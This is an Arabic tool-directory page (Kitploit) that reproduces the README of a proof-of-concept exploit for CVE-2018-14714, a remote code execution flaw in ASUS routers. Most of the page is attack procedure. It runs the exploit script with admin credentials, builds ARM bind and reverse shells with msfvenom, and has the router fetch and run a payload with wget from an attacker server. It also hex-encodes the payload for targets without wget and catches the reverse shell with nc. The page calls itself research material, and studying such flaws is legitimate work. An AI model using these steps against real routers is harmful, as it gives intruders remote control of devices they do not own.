Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-14714-RCE-exploit — ASUS wifi router RCE vulnerability | Kitploit
أدوات/GitHubGitHub/bttea/cve-2018-14714-rce-exploit
IoT SecurityPayload GenerationExploitationWeb Application ExploitationWireless SecurityPenetration TestingLearning & EducationRemote Access Tool
GitHubbttea/cve-2018-14714-rce-exploit

CVE-2018-14714-RCE-exploit

ASUS wifi router RCE vulnerability

عرض المستودع
192منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-14714 RCE PoC

ثغرة RCE في راوتر ASUS اللاسلكي

إثبات المفهوم هذا لأغراض التعلم والبحث فقط. لا تستخدمه في أنشطة غير قانونية؛ أنت وحدك المسؤول عن أي عواقب قانونية.

  • هذا اختبار تم إجراؤه بعد تعديلات الكود بناءً على إثبات المفهوم هذا، حيث أن إثبات المفهوم الأصلي قد فشل بسبب عدم وجود صلاحيات الجذر.
    • https://github.com/sunn1day/CVE-2018-14714-POC

في العرض التوضيحي أدناه، جهاز الاختبار هو ASUS RT-N18U، إصدار البرنامج الثابت هو 3.0.0.4.378.9216، جهاز راوتر اشتريته أثناء دراستي الجامعية. وهو الآن جهاز الاختبار الخاص بي :)

إثبات المفهوم للثغرة

  • شروط الاستغلال

    • حسابات وكلمات مرور يمكن استخدامها لتسجيل الدخول.
    • لم يتم تحديث الهدف إلى إصدار يحتوي على التصحيحات (أقل من الإصدار 3.0.0.4.384.32738 أو 3.0.0.4.384.45149).
  • تحتاج إلى تثبيت المتطلبات:

    • $ python3 -m pip install requests

قم بتشغيل السكريبت مباشرة للحصول على تعليمات الاستخدام. يمكنك تشغيل الأمر أدناه للتحقق مما إذا كان الهدف معرضًا للخطر.

$ python3 CVE-2018-14714-RCE_PoC.py <target> <user> <password>

شل

يمكنك استخدام أمر msfvenom لإنشاء ملف تنفيذي ثنائي خفيف للشل العكسي. يمكنك تعديل المعلمات وفقًا لبيئة النواة التي تعمل بها. في حالتي، هو armv7l، والأمر كالتالي:

  • شل مرتبط (Bind shell)

    $ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

  • شل عكسي (Reverse shell)

    $ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

إذا كان جهاز الهدف يحتوي على أمر wget، بعد أن تبدأ الاستماع على المنفذ 4444، يمكنك استخدام الأمر التالي في شل زائف للحصول على شل عكسي:

root@kitploit:~
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf

إذا كانت بيئة الهدف لا تحتوي على أي أوامر مدمجة للوصول إلى الموارد عن بعد، يرجى متابعة القراءة.

الخطوات الأولية

قم بتحويل الملف الثنائي المُنشأ إلى بيانات ثنائية.

root@kitploit:~
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done

$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

كيفية التنفيذ؟

لتأكيد وجود ثغرة في الهدف، أعد تشغيل سكريبت Python مع إضافة معامل الشل للدخول إلى شل زائف تفاعلي. يرجى ملاحظة أنه من الطبيعي ألا تنتج الأوامر أي مخرجات، حيث لا يوجد مكان لاستقبال stdout. ومع ذلك، يمكن استخدام أمر sleep للتحقق من أن الأوامر قد نُفذت بالفعل.

بالإضافة إلى ذلك، من المهم ملاحظة أنه بناءً على الاختبار، يسمح سطر الأوامر بحد أقصى 1022 حرفًا. يجب عليك بناء أوامر أقل من 1022 حرفًا.

لذلك، ستحتاج إلى تقسيم الحمولة يدويًا وتنفيذها على أجزاء لضمان تشغيل الأمر بنجاح.

  • بعد ذلك، دعنا نحصل على شل عكسي حقيقي. يمكنك البدء بالاستماع على المنفذ المحدد.

    $ nc -lvnp 4444

  • قم بتشغيل سكريبت Python PoC للحصول على شل زائف لحقن الحمولة.

    $ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

  • أخيرًا، كل ما تبقى هو الاستمتاع بالشل العكسي الذي حصلت عليه :)

تنزيل الأداة